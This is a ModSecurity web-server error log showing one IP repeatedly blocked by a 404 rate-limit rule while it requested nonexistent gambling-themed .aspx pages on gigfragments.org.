[Sun Feb 22 02:00:36.397839 2026] [:error] [pid 3179:tid 3432] [client 51.83.237.175:53420] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZnyxNgAWCcL8bTGJUUxTgAAABQ"]
[Sun Feb 22 02:00:37.190881 2026] [:error] [pid 3204:tid 3485] [client 51.83.237.175:53840] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZnyxXAwnUMG8727rz4bYwAAAJM"]
[Sun Feb 22 02:00:38.374476 2026] [:error] [pid 3179:tid 3417] [client 51.83.237.175:53852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZnyxtgAWCcL8bTGJUUxUwAAAAU"]
[Sun Feb 22 02:00:39.303384 2026] [:error] [pid 3179:tid 3420] [client 51.83.237.175:53858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZnyx9gAWCcL8bTGJUUxVQAAAAg"]
[Sun Feb 22 02:00:40.690982 2026] [:error] [pid 3204:tid 3488] [client 51.83.237.175:53866] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZnyyHAwnUMG8727rz4bagAAAJY"]
[Sun Feb 22 02:00:41.669146 2026] [:error] [pid 3204:tid 3475] [client 51.83.237.175:53872] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZnyyXAwnUMG8727rz4bbAAAAIk"]
[Sun Feb 22 02:00:43.326618 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:53886] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZnyy9gAWCcL8bTGJUUxXAAAABc"]
[Sun Feb 22 02:00:44.373397 2026] [:error] [pid 3516:tid 3521] [client 51.83.237.175:53888] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZnyzEtaWLejEJFWY3FC_wAAAMI"]
[Sun Feb 22 02:00:46.079172 2026] [:error] [pid 3179:tid 3424] [client 51.83.237.175:53896] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZnyztgAWCcL8bTGJUUxYQAAAAw"]
[Sun Feb 22 02:00:46.458824 2026] [:error] [pid 3516:tid 3534] [client 51.83.237.175:53908] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZnyzktaWLejEJFWY3FDAwAAAM8"]
[Sun Feb 22 02:00:48.612188 2026] [:error] [pid 3179:tid 3428] [client 51.83.237.175:37500] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZny0NgAWCcL8bTGJUUxZAAAABA"]
[Sun Feb 22 02:00:48.759862 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:37508] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZny0NgAWCcL8bTGJUUxZgAAABU"]
[Sun Feb 22 02:00:50.980388 2026] [:error] [pid 3179:tid 3431] [client 51.83.237.175:37520] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZny0tgAWCcL8bTGJUUxcQAAABM"]
[Sun Feb 22 02:00:53.113333 2026] [:error] [pid 4789:tid 4806] [client 51.83.237.175:37530] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZny1a9_231lp37V1xxXyQAAAQ8"]
[Sun Feb 22 02:00:55.190720 2026] [:error] [pid 3195:tid 3458] [client 51.83.237.175:37542] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZny1w28anZ1nWyZCI5ImAAAAFM"]
[Sun Feb 22 02:00:57.544917 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:37782] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZny2UtaWLejEJFWY3FDFwAAAME"]
[Sun Feb 22 02:00:59.854092 2026] [:error] [pid 3179:tid 3428] [client 51.83.237.175:37792] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZny29gAWCcL8bTGJUUxgAAAABA"]
[Sun Feb 22 02:01:01.870792 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:37796] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZny3UtaWLejEJFWY3FDIQAAAME"]
[Sun Feb 22 02:01:04.138319 2026] [:error] [pid 3179:tid 3413] [client 51.83.237.175:37812] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZny4NgAWCcL8bTGJUUxhQAAAAE"]
[Sun Feb 22 02:01:06.643867 2026] [:error] [pid 3195:tid 3453] [client 51.83.237.175:37820] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZny4g28anZ1nWyZCI5IoQAAAE4"]
[Sun Feb 22 02:01:08.684346 2026] [:error] [pid 3204:tid 3471] [client 51.83.237.175:49002] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZny5HAwnUMG8727rz4bewAAAIU"]
[Sun Feb 22 02:01:10.955303 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:49018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZny5ktaWLejEJFWY3FDKgAAAME"]
[Sun Feb 22 02:01:13.161296 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:49024] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZny6UtaWLejEJFWY3FDLwAAAMk"]
[Sun Feb 22 02:01:15.097058 2026] [:error] [pid 3179:tid 3420] [client 51.83.237.175:49040] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZny69gAWCcL8bTGJUUxkAAAAAg"]
[Sun Feb 22 02:01:17.020465 2026] [:error] [pid 4789:tid 4810] [client 51.83.237.175:57284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZny7a9_231lp37V1xxX9gAAARM"]
[Sun Feb 22 02:01:19.277235 2026] [:error] [pid 3516:tid 3535] [client 51.83.237.175:57286] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZny70taWLejEJFWY3FDOwAAANA"]
[Sun Feb 22 02:01:21.262155 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:57300] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZny8Q28anZ1nWyZCI5IsgAAAEM"]
[Sun Feb 22 02:01:23.447470 2026] [:error] [pid 3195:tid 3446] [client 51.83.237.175:57304] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZny8w28anZ1nWyZCI5ItwAAAEc"]
[Sun Feb 22 02:01:25.570454 2026] [:error] [pid 3516:tid 3538] [client 51.83.237.175:57306] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZny9UtaWLejEJFWY3FDQQAAANM"]
[Sun Feb 22 02:02:01.963987 2026] [:error] [pid 3204:tid 3475] [client 51.83.237.175:46014] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aZnzGXAwnUMG8727rz4bxgAAAIk"]
[Sun Feb 22 02:02:03.905095 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:38750] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aZnzGw28anZ1nWyZCI5I8AAAAFc"]
[Sun Feb 22 02:02:05.866894 2026] [:error] [pid 3516:tid 3521] [client 51.83.237.175:38756] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aZnzHUtaWLejEJFWY3FDbwAAAMI"]
[Sun Feb 22 02:02:07.938129 2026] [:error] [pid 3195:tid 3440] [client 51.83.237.175:32944] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aZnzHw28anZ1nWyZCI5I-AAAAEE"]
[Sun Feb 22 02:02:10.189669 2026] [:error] [pid 3179:tid 3436] [client 51.83.237.175:32948] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aZnzItgAWCcL8bTGJUUxwgAAABg"]
[Sun Feb 22 02:02:12.356660 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:32958] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aZnzJNgAWCcL8bTGJUUxxwAAABc"]
[Sun Feb 22 02:02:14.309452 2026] [:error] [pid 3516:tid 3524] [client 51.83.237.175:32972] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aZnzJktaWLejEJFWY3FDeAAAAMU"]
[Sun Feb 22 02:02:16.274887 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:32986] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZnzKA28anZ1nWyZCI5JBAAAAEM"]
[Sun Feb 22 02:02:18.362450 2026] [:error] [pid 4789:tid 4810] [client 51.83.237.175:37022] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZnzKq9_231lp37V1xxYYQAAARM"]
[Sun Feb 22 02:02:20.427235 2026] [:error] [pid 3516:tid 3535] [client 51.83.237.175:37034] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZnzLEtaWLejEJFWY3FDewAAANA"]
[Sun Feb 22 02:02:22.484844 2026] [:error] [pid 3204:tid 3470] [client 51.83.237.175:37036] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZnzLnAwnUMG8727rz4b3AAAAIQ"]
[Sun Feb 22 02:02:24.479383 2026] [:error] [pid 3204:tid 3468] [client 51.83.237.175:37050] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZnzMHAwnUMG8727rz4b3wAAAII"]
[Sun Feb 22 02:02:26.647802 2026] [:error] [pid 3204:tid 3478] [client 51.83.237.175:37060] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZnzMnAwnUMG8727rz4b4wAAAIw"]
[Sun Feb 22 02:02:28.540889 2026] [:error] [pid 3179:tid 3422] [client 51.83.237.175:44276] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZnzNNgAWCcL8bTGJUUx0QAAAAo"]
[Sun Feb 22 02:02:30.603093 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:44284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZnzNtgAWCcL8bTGJUUx1gAAABU"]
[Sun Feb 22 02:02:32.506688 2026] [:error] [pid 3179:tid 3427] [client 51.83.237.175:44300] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZnzONgAWCcL8bTGJUUx2gAAAA8"]
[Sun Feb 22 02:02:34.467934 2026] [:error] [pid 3195:tid 3446] [client 51.83.237.175:44302] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZnzOg28anZ1nWyZCI5JGQAAAEc"]
[Sun Feb 22 02:02:36.447244 2026] [:error] [pid 3179:tid 3416] [client 51.83.237.175:44318] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZnzPNgAWCcL8bTGJUUx4AAAAAQ"]
[Sun Feb 22 02:02:38.664485 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:47004] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZnzPktaWLejEJFWY3FDlQAAANI"]
[Sun Feb 22 02:02:41.115100 2026] [:error] [pid 3195:tid 3458] [client 51.83.237.175:47010] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZnzQQ28anZ1nWyZCI5JHgAAAFM"]
[Sun Feb 22 02:02:43.155043 2026] [:error] [pid 3516:tid 3523] [client 51.83.237.175:47014] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZnzQ0taWLejEJFWY3FDmQAAAMQ"]
[Sun Feb 22 02:02:45.047170 2026] [:error] [pid 3204:tid 3469] [client 51.83.237.175:47028] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZnzRXAwnUMG8727rz4b7wAAAIM"]
[Sun Feb 22 02:02:47.089055 2026] [:error] [pid 3204:tid 3484] [client 51.83.237.175:38140] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZnzR3AwnUMG8727rz4b8wAAAJI"]
[Sun Feb 22 02:02:49.146863 2026] [:error] [pid 3516:tid 3524] [client 51.83.237.175:38154] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZnzSUtaWLejEJFWY3FDoQAAAMU"]
[Sun Feb 22 02:02:51.296658 2026] [:error] [pid 3204:tid 3467] [client 51.83.237.175:38158] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZnzS3AwnUMG8727rz4b_gAAAIE"]
[Sun Feb 22 02:02:53.520132 2026] [:error] [pid 3179:tid 3431] [client 51.83.237.175:38172] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZnzTdgAWCcL8bTGJUUx6wAAABM"]
